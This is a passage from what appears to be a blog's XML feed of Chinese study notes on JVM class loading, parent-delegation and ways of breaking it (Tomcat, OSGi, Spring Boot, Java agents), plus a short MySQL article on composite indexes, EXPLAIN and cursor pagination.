class="comment">// 2. 检查 Import-Package，委托给其他 Bundle</span></span><br><span class="line">        clazz = findImportedClass(name);</span><br><span class="line">        <span class="keyword">if</span> (clazz != <span class="literal">null</span>) <span class="keyword">return</span> clazz;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 委托给父加载器</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.loadClass(name, resolve);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="案例4：Spring-Boot-的-LaunchedURLClassLoader"><a href="#案例4：Spring-Boot-的-LaunchedURLClassLoader" class="headerlink" title="案例4：Spring Boot 的 LaunchedURLClassLoader"></a>案例4：Spring Boot 的 LaunchedURLClassLoader</h2><h3 id="需求-2"><a href="#需求-2" class="headerlink" title="需求"></a>需求</h3><p>Spring Boot 将依赖打包为可执行 fat-jar，需要特殊方式加载嵌套的 jar。</p><h3 id="结构"><a href="#结构" class="headerlink" title="结构"></a>结构</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">myapp.jar</span><br><span class="line">├── META-INF/</span><br><span class="line">│   └── MANIFEST.MF</span><br><span class="line">├── BOOT-INF/</span><br><span class="line">│   ├── classes/           (应用类)</span><br><span class="line">│   └── lib/</span><br><span class="line">│       ├── spring-core.jar</span><br><span class="line">│       ├── spring-boot.jar</span><br><span class="line">│       └── ...</span><br><span class="line">└── org/springframework/boot/loader/</span><br><span class="line">    └── LaunchedURLClassLoader.class</span><br></pre></td></tr></table></figure><h3 id="LaunchedURLClassLoader"><a href="#LaunchedURLClassLoader" class="headerlink" title="LaunchedURLClassLoader"></a>LaunchedURLClassLoader</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LaunchedURLClassLoader</span> <span class="keyword">extends</span> <span class="title class_">URLClassLoader</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Class&lt;?&gt; loadClass(String name, <span class="type">boolean</span> resolve) </span><br><span class="line">        <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 处理 org.springframework.boot.loader 包（自身）</span></span><br><span class="line">        <span class="keyword">if</span> (name.startsWith(<span class="string">&quot;org.springframework.boot.loader.&quot;</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> findClass(name);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 其他类先委派（保持双亲委派）</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">super</span>.loadClass(name, resolve);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</span><br><span class="line">            <span class="comment">// 3. 找不到再从 BOOT-INF/classes 和 BOOT-INF/lib 加载</span></span><br><span class="line">            <span class="keyword">return</span> findClass(name);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>大部分类保持双亲委派</li><li>只有特定包和找不到的类才自己加载</li><li>支持 <code>jar:file:/path/myapp.jar!/BOOT-INF/lib/spring.jar!/</code> 这样的 URL</li></ul><h2 id="案例5：Java-Agent-与字节码增强"><a href="#案例5：Java-Agent-与字节码增强" class="headerlink" title="案例5：Java Agent 与字节码增强"></a>案例5：Java Agent 与字节码增强</h2><h3 id="需求-3"><a href="#需求-3" class="headerlink" title="需求"></a>需求</h3><p>在运行时修改类的字节码（如链路追踪、监控）。</p><h3 id="Instrumentation-加载"><a href="#Instrumentation-加载" class="headerlink" title="Instrumentation 加载"></a>Instrumentation 加载</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyAgent</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">premain</span><span class="params">(String args, Instrumentation inst)</span> &#123;</span><br><span class="line">        <span class="comment">// Agent 由 -javaagent 指定，通常由 App ClassLoader 加载</span></span><br><span class="line">        <span class="comment">// 但需要修改 Bootstrap 加载的类（如 java.net.URL）</span></span><br><span class="line">        </span><br><span class="line">        inst.addTransformer(<span class="keyword">new</span> <span class="title class_">ClassFileTransformer</span>() &#123;</span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> <span class="type">byte</span>[] transform(ClassLoader loader, String className,</span><br><span class="line">                    Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain,</span><br><span class="line">                    <span class="type">byte</span>[] classfileBuffer) &#123;</span><br><span class="line">                <span class="comment">// 修改字节码</span></span><br><span class="line">                <span class="keyword">return</span> modifyByteCode(classfileBuffer);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="打破方式-1"><a href="#打破方式-1" class="headerlink" title="打破方式"></a>打破方式</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Instrumentation 接口允许重新转换由 Bootstrap ClassLoader 加载的类</span><br><span class="line">Agent 的 ClassTransformer 可以修改核心类</span><br></pre></td></tr></table></figure><h2 id="打破双亲委派的三种方式"><a href="#打破双亲委派的三种方式" class="headerlink" title="打破双亲委派的三种方式"></a>打破双亲委派的三种方式</h2><table><thead><tr><th>方式</th><th>案例</th><th>实现</th></tr></thead><tbody><tr><td>重写 loadClass()</td><td>Tomcat、OSGi</td><td>先自己加载，找不到再委派</td></tr><tr><td>线程上下文类加载器</td><td>JDBC、JNDI</td><td>Thread.setContextClassLoader()</td></tr><tr><td>Instrumentation</td><td>Java Agent</td><td>JVM 接口修改已加载类</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>打破原因</th><th>实现方式</th></tr></thead><tbody><tr><td>JDBC</td><td>父加载器无法加载子类路径的驱动</td><td>线程上下文类加载器</td></tr><tr><td>Tomcat</td><td>Web 应用隔离和热部署</td><td>WebAppClassLoader 先自己加载</td></tr><tr><td>OSGi</td><td>模块版本隔离</td><td>每个 Bundle 独立类加载器</td></tr><tr><td>Spring Boot</td><td>加载嵌套 jar</td><td>LaunchedURLClassLoader</td></tr><tr><td>Java Agent</td><td>修改核心类字节码</td><td>Instrumentation API</td></tr></tbody></table><p>双亲委派是 Java 类加载的默认规则，但在框架开发中，根据具体需求打破这一规则是常见且必要的做法。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>类加载机制与双亲委派模型</title>
      <link href="//lei-jia-zai-ji-zhi-yu-shuang-qin-wei-pai-mo-xing/"/>
      <url>//lei-jia-zai-ji-zhi-yu-shuang-qin-wei-pai-mo-xing/</url>
      
        <content type="html"><![CDATA[<h1 id="类加载机制与双亲委派模型"><a href="#类加载机制与双亲委派模型" class="headerlink" title="类加载机制与双亲委派模型"></a>类加载机制与双亲委派模型</h1><p>类加载机制是 Java 虚拟机把 Class 文件加载到内存，并对其进行校验、转换解析和初始化的过程。理解这一机制对解决 ClassNotFoundException、NoClassDefFoundError 等问题至关重要。</p><h2 id="类加载的时机"><a href="#类加载的时机" class="headerlink" title="类加载的时机"></a>类加载的时机</h2><p>类在以下情况下会被加载：</p><ol><li><strong>new、getstatic、putstatic、invokestatic</strong> 指令</li><li><strong>反射</strong>调用</li><li><strong>子类加载</strong>时父类先加载</li><li><strong>主类</strong>（main 方法所在类）</li><li><strong>动态语言支持</strong>（MethodHandle）</li><li><strong>接口 default 方法</strong></li></ol><h2 id="类加载的五个阶段"><a href="#类加载的五个阶段" class="headerlink" title="类加载的五个阶段"></a>类加载的五个阶段</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">加载 -&gt; 验证 -&gt; 准备 -&gt; 解析 -&gt; 初始化</span><br></pre></td></tr></table></figure><h3 id="1-加载（Loading）"><a href="#1-加载（Loading）" class="headerlink" title="1. 加载（Loading）"></a>1. 加载（Loading）</h3><p><strong>任务</strong>：</p><ol><li>通过全限定名获取二进制字节流</li><li>将字节流转化为方法区的运行时数据结构</li><li>生成 java.lang.Class 对象</li></ol><p><strong>来源</strong>：</p><ul><li>本地文件系统（.class）</li><li>网络（Applet）</li><li>ZIP/JAR（classpath）</li><li>动态生成（动态代理）</li><li>数据库</li></ul><h3 id="2-验证（Verification）"><a href="#2-验证（Verification）" class="headerlink" title="2. 验证（Verification）"></a>2. 验证（Verification）</h3><p>确保 Class 文件的字节流中包含的信息符合 JVM 规范。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">├─ 文件格式验证（魔数、版本号）</span><br><span class="line">├─ 元数据验证（是否有父类、是否继承final类）</span><br><span class="line">├─ 字节码验证（类型转换是否合法）</span><br><span class="line">├─ 符号引用验证（是否能找到对应类）</span><br></pre></td></tr></table></figure><h3 id="3-准备（Preparation）"><a href="#3-准备（Preparation）" class="headerlink" title="3. 准备（Preparation）"></a>3. 准备（Preparation）</h3><p>为类变量（static）分配内存并设置初始值。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Sample</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">value</span> <span class="operator">=</span> <span class="number">123</span>;  <span class="comment">// 准备阶段: value = 0</span></span><br><span class="line">                                     <span class="comment">// 初始化阶段: value = 123</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">CONSTANT</span> <span class="operator">=</span> <span class="number">123</span>;  <span class="comment">// 准备阶段: CONSTANT = 123</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：<code>final static</code> 常量在准备阶段就赋值为最终值。</p><h3 id="4-解析（Resolution）"><a href="#4-解析（Resolution）" class="headerlink" title="4. 解析（Resolution）"></a>4. 解析（Resolution）</h3><p>将常量池中的符号引用替换为直接引用。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 符号引用</span></span><br><span class="line"><span class="type">String</span> <span class="variable">className</span> <span class="operator">=</span> <span class="string">&quot;java.lang.String&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 直接引用</span></span><br><span class="line">Class&lt;?&gt; clazz = Class.forName(className);  <span class="comment">// 内存地址</span></span><br></pre></td></tr></table></figure><h3 id="5-初始化（Initialization）"><a href="#5-初始化（Initialization）" class="headerlink" title="5. 初始化（Initialization）"></a>5. 初始化（Initialization）</h3><p>执行 <code>&lt;clinit&gt;()</code> 方法（类构造器）。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InitOrder</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">1</span>;           <span class="comment">// (1)</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">static</span> &#123;                             <span class="comment">// (2)</span></span><br><span class="line">        b = <span class="number">2</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">3</span>;           <span class="comment">// (3) 最终b=3</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// &lt;clinit&gt;() 执行顺序: (1) -&gt; (2) -&gt; (3)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li><code>&lt;clinit&gt;()</code> 由编译器自动收集所有 static 变量和 static 块</li><li>子类的 <code>&lt;clinit&gt;()</code> 执行前，父类的 <code>&lt;clinit&gt;()</code> 先执行</li><li>接口也有 <code>&lt;clinit&gt;()</code>，但实现类初始化时不会触发</li></ul><h2 id="类加载器"><a href="#类加载器" class="headerlink" title="类加载器"></a>类加载器</h2><h3 id="三层类加载器"><a href="#三层类加载器" class="headerlink" title="三层类加载器"></a>三层类加载器</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│        Bootstrap ClassLoader        │  (C++实现，加载&lt;JAVA_HOME&gt;/lib)</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│      Extension ClassLoader          │  (加载&lt;JAVA_HOME&gt;/lib/ext)</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│      Application ClassLoader        │  (加载classpath)</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│        User ClassLoader             │  (自定义)</span><br><span class="line">└─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h3 id="各加载器的职责"><a href="#各加载器的职责" class="headerlink" title="各加载器的职责"></a>各加载器的职责</h3><table><thead><tr><th>加载器</th><th>实现语言</th><th>加载路径</th><th>父加载器</th></tr></thead><tbody><tr><td>Bootstrap</td><td>C++</td><td><code>&lt;JAVA_HOME&gt;/lib</code></td><td>无</td></tr><tr><td>Extension</td><td>Java</td><td><code>&lt;JAVA_HOME&gt;/lib/ext</code></td><td>Bootstrap</td></tr><tr><td>Application</td><td>Java</td><td>classpath</td><td>Extension</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取类加载器</span></span><br><span class="line"><span class="type">ClassLoader</span> <span class="variable">appLoader</span> <span class="operator">=</span> ClassLoader.getSystemClassLoader();</span><br><span class="line"><span class="type">ClassLoader</span> <span class="variable">extLoader</span> <span class="operator">=</span> appLoader.getParent();</span><br><span class="line"><span class="type">ClassLoader</span> <span class="variable">bootstrapLoader</span> <span class="operator">=</span> extLoader.getParent();  <span class="comment">// null</span></span><br></pre></td></tr></table></figure><h2 id="双亲委派模型"><a href="#双亲委派模型" class="headerlink" title="双亲委派模型"></a>双亲委派模型</h2><h3 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">类加载请求</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">Custom ClassLoader</span><br><span class="line">    | 不处理，委派给父加载器</span><br><span class="line">    v</span><br><span class="line">App ClassLoader</span><br><span class="line">    | 不处理，委派给父加载器</span><br><span class="line">    v</span><br><span class="line">Ext ClassLoader</span><br><span class="line">    | 不处理，委派给父加载器</span><br><span class="line">    v</span><br><span class="line">Bootstrap ClassLoader</span><br><span class="line">    | 尝试加载</span><br><span class="line">    ├─ 成功 -&gt; 返回Class对象</span><br><span class="line">    └─ 失败 -&gt; 子加载器尝试</span><br><span class="line">         v</span><br><span class="line">    Ext ClassLoader -&gt; App -&gt; Custom</span><br></pre></td></tr></table></figure><h3 id="源码实现"><a href="#源码实现" class="headerlink" title="源码实现"></a>源码实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">protected</span> Class&lt;?&gt; loadClass(String name, <span class="type">boolean</span> resolve) </span><br><span class="line">    <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">synchronized</span> (getClassLoadingLock(name)) &#123;</span><br><span class="line">        <span class="comment">// 1. 检查是否已加载</span></span><br><span class="line">        Class&lt;?&gt; c = findLoadedClass(name);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (c == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 2. 委派父加载器</span></span><br><span class="line">            <span class="keyword">if</span> (parent != <span class="literal">null</span>) &#123;</span><br><span class="line">                c = parent.loadClass(name, <span class="literal">false</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                c = findBootstrapClassOrNull(name);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 3. 父加载器无法加载，自己加载</span></span><br><span class="line">            <span class="keyword">if</span> (c == <span class="literal">null</span>) &#123;</span><br><span class="line">                c = findClass(name);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (resolve) &#123;</span><br><span class="line">            resolveClass(c);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> c;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="双亲委派的好处"><a href="#双亲委派的好处" class="headerlink" title="双亲委派的好处"></a>双亲委派的好处</h3><ol><li><strong>避免类的重复加载</strong>：先检查是否已加载</li><li><strong>保证扩展性</strong>：父加载器加载的类对子加载器可见</li><li><strong>保证安全性</strong>：核心类（String、Object）由 Bootstrap 加载，防止篡改</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果没有双亲委派，可以自定义恶意String</span></span><br><span class="line"><span class="keyword">package</span> java.lang;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">String</span> &#123;</span><br><span class="line">    <span class="comment">// 恶意代码...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="打破双亲委派"><a href="#打破双亲委派" class="headerlink" title="打破双亲委派"></a>打破双亲委派</h2><h3 id="1-线程上下文类加载器"><a href="#1-线程上下文类加载器" class="headerlink" title="1. 线程上下文类加载器"></a>1. 线程上下文类加载器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// JDBC 例子：DriverManager 由 Bootstrap 加载</span></span><br><span class="line"><span class="comment">// 但具体驱动实现由 App ClassLoader 加载</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取线程上下文类加载器</span></span><br><span class="line"><span class="type">ClassLoader</span> <span class="variable">contextLoader</span> <span class="operator">=</span> Thread.currentThread().getContextClassLoader();</span><br><span class="line"></span><br><span class="line"><span class="comment">// ServiceLoader 使用上下文类加载器加载实现类</span></span><br><span class="line">ServiceLoader&lt;Driver&gt; loadedDrivers = ServiceLoader.load(Driver.class);</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：Bootstrap 加载的类可以通过 <code>Thread.currentThread().getContextClassLoader()</code> 委派给子加载器。</p><h3 id="2-OSGi-热部署"><a href="#2-OSGi-热部署" class="headerlink" title="2. OSGi / 热部署"></a>2. OSGi / 热部署</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 自定义类加载器，先自己加载，找不到再委派</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotSwapClassLoader</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Class&lt;?&gt; loadClass(String name, <span class="type">boolean</span> resolve) </span><br><span class="line">        <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 先自己尝试加载</span></span><br><span class="line">        Class&lt;?&gt; clazz = findClass(name);</span><br><span class="line">        <span class="keyword">if</span> (clazz != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> clazz;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 找不到再委派</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.loadClass(name, resolve);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-Tomcat-的类加载器"><a href="#3-Tomcat-的类加载器" class="headerlink" title="3. Tomcat 的类加载器"></a>3. Tomcat 的类加载器</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Common ClassLoader</span><br><span class="line">    ├── Catalina ClassLoader（Tomcat自身）</span><br><span class="line">    └── Shared ClassLoader</span><br><span class="line">            └── WebApp ClassLoader（Web应用，先自己加载）</span><br></pre></td></tr></table></figure><p>Tomcat 为每个 Web 应用创建独立的类加载器，实现应用隔离和热部署。</p><h2 id="自定义类加载器"><a href="#自定义类加载器" class="headerlink" title="自定义类加载器"></a>自定义类加载器</h2><h3 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h3><ol><li><strong>热部署</strong>：不重启 JVM 更新类</li><li><strong>类隔离</strong>：不同版本共存</li><li><strong>加密保护</strong>：解密后加载</li><li><strong>从网络/数据库加载</strong></li></ol><h3 id="简单实现"><a href="#简单实现" class="headerlink" title="简单实现"></a>简单实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomClassLoader</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String classPath;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">CustomClassLoader</span><span class="params">(String classPath)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.classPath = classPath;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> Class&lt;?&gt; findClass(String name) <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        <span class="comment">// 1. 读取class文件</span></span><br><span class="line">        <span class="type">byte</span>[] classData = loadClassData(name);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 定义类</span></span><br><span class="line">        <span class="keyword">return</span> defineClass(name, classData, <span class="number">0</span>, classData.length);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="type">byte</span>[] loadClassData(String name) &#123;</span><br><span class="line">        <span class="comment">// 从自定义路径加载class文件</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> classPath + File.separatorChar </span><br><span class="line">            + name.replace(<span class="string">&#x27;.&#x27;</span>, File.separatorChar) + <span class="string">&quot;.class&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(path);</span><br><span class="line">             <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>()) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">bufferSize</span> <span class="operator">=</span> <span class="number">1024</span>;</span><br><span class="line">            <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[bufferSize];</span><br><span class="line">            <span class="type">int</span> length;</span><br><span class="line">            <span class="keyword">while</span> ((length = is.read(buffer)) != -<span class="number">1</span>) &#123;</span><br><span class="line">                baos.write(buffer, <span class="number">0</span>, length);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> baos.toByteArray();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见异常"><a href="#常见异常" class="headerlink" title="常见异常"></a>常见异常</h2><table><thead><tr><th>异常</th><th>原因</th><th>解决</th></tr></thead><tbody><tr><td>ClassNotFoundException</td><td>类路径错误</td><td>检查 classpath</td></tr><tr><td>NoClassDefFoundError</td><td>编译时有，运行时缺失</td><td>检查依赖包</td></tr><tr><td>ClassCastException</td><td>不同类加载器加载同一类</td><td>统一类加载器</td></tr><tr><td>LinkageError</td><td>重复定义类</td><td>检查类加载逻辑</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>概念</th><th>要点</th></tr></thead><tbody><tr><td>加载过程</td><td>加载-&gt;验证-&gt;准备-&gt;解析-&gt;初始化</td></tr><tr><td>双亲委派</td><td>委派给父加载器，父无法加载才自己加载</td></tr><tr><td>好处</td><td>避免重复加载、保证安全性</td></tr><tr><td>打破场景</td><td>JDBC、OSGi、Tomcat、热部署</td></tr><tr><td>自定义</td><td>继承ClassLoader，重写findClass</td></tr></tbody></table><p>类加载机制是 Java 平台无关性和安全性的基石，也是实现模块化、热部署等技术的基础。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ZGC与Shenandoah低延迟GC</title>
      <link href="//zgc-yu-shenandoah-di-yan-chi-gc/"/>
      <url>//zgc-yu-shenandoah-di-yan-chi-gc/</url>
      
